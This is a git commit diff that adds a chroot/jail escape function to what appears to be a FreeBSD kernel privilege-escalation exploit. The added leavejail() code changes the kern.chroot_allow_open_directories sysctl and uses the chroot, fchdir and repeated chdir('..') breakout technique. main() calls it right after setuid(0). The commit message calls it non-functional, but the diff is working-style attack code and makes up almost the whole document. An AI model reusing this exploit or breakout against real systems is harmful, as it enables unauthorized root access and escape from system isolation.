Non functional jail escape functionality.

1 files changed, 64 insertions, 0 deletions

diff --git a/current-thread-exec.c b/current-thread-exec.c
index 1bf6dbd..cd6bd1d 100644
--- a/current-thread-exec.c
+++ b/current-thread-exec.c
@@ -6,12 +6,73 @@
 #include <sys/ucred.h>
 #include <sys/mman.h>
 #include <sys/socket.h>
+#include <sys/stat.h>
 #include <netgraph/ng_socket.h>
 #include <stdio.h>
+#include <fcntl.h>
 #include <unistd.h>
 
 #define PAGES 1
 
+int leavejail(void)
+{
+	int fail = 0;
+	int val = 2;
+	struct stat dirinfo;
+	ino_t chroot_root;
+	if (stat("/", &dirinfo) < 0) {
+		perror("\t[-] couldn't stat /");
+		goto die;
+	}
+	chroot_root = dirinfo.st_ino;
+	if (sysctlbyname("kern.chroot_allow_open_directories", NULL, 0, &val, sizeof(val)) < 0) {
+		perror("\t[-] couldn't change sysctl");
+		goto die;
+	}
+	mkdir("temp_dir", 0755);
+	int fd = open(".", O_RDONLY);
+	if (fd < 0) {
+		perror("\t[-] couldn't open this directory");
+		goto die;
+	}
+	if (chroot("temp_dir") < 0) {
+		perror("\t[-] couldn't chroot to temp_dir");
+		goto die;
+	}
+	if (fchdir(fd) < 0) {
+		perror("\t[-] couldn't change to fd");
+		goto die;
+	}
+	close(fd);
+	int i;
+	for (i = 0; i < 1024; ++i) {
+		if (chdir("..") < 0) {
+			perror("\t[-] couldn't chdir backwards");
+			goto die;
+		}
+	}
+	if (chroot(".") < 0) {
+		perror("\t[-] couldn't obtain final chroot");
+		goto die;
+	}
+	if (stat("/", &dirinfo) < 0) {
+		perror("\t[-] couldn't stat new /");
+		goto die;
+	}
+	if (dirinfo.st_ino == chroot_root) {
+		fprintf(stderr, "\t[-] new root is the same as old root\n");
+		goto die;
+	}
+end:
+	val = 0;
+	sysctlbyname("kern.chroot_allow_open_directories", NULL, 0, &val, sizeof(val));
+	return fail;
+die:
+	close(fd);
+	fail = 1;
+	goto end;
+}
+
 volatile int got_root = 0;
 int root(void)
 {
@@ -81,6 +142,9 @@ int main(int argc, char *argv[])
 	fprintf(stderr, "[+] elevating permissions\n");
 	setuid(0);	
 	setgid(0);
+	fprintf(stderr, "[+] attempting to leave jail...\n");
+	if (leavejail())
+		fprintf(stderr, "[-] failed to leave jail\n");
 	if (getuid() != 0) {
 		fprintf(stderr, "[-] failed to get root\n");
 		return -1;